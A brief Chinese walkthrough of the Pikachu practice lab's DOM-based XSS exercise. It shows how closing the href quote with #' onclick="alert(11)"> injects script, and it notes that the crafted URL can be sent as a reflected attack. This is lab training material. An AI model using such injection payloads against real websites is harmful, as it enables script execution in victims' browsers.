Pikachu-Cross-Site Scripting-DOM型xss_x

查看代码,输入的内容,通过get请求方式,用text 参数带过去;

获取text内容,赋值给xss 然后拼接到 dom 里;构造payload的关键语句:

复制代码
<a href='"+xss+"'>就让往事都随风,都随风吧</a>

闭合标签,如下;

复制代码
<a href='#' onclick="alert(11)">'>就让往事都随风,都随风吧</a>

所以str 为 #' οnclick="alert(11)">

输入,得到xss 结果

同样的,由于直接拼接到 get 的请求参数,所以这也是个反射型;可以直切把url复制出来,达到攻击效果;

相关推荐
兆子龙17 分钟前
你不会使用 CSS 函数 clamp()?那你太 low 了😀
前端·javascript
兆子龙17 分钟前
前端性能优化终极清单:从 3 秒到 0.5 秒的实战经验
前端·javascript
兆子龙19 分钟前
babel-loader:让你的 JS 代码兼容所有浏览器
前端
百万蹄蹄向前冲20 分钟前
支付宝 VS 微信 小程序差异
前端·后端·微信小程序
兆子龙24 分钟前
JavaScript 的 Symbol.iterator:手写一个可迭代对象
前端
NGC_661124 分钟前
ArrayList扩容机制
java·前端·算法
独泪了无痕6 小时前
使用Fetch API 探索前后端数据交互
前端·http·交互设计
css趣多多6 小时前
别名路径的知识点
前端
靓仔建8 小时前
Vue3导入组件出错does not provide an export named ‘user_setting‘ (at index.vue:180:10)
开发语言·前端·typescript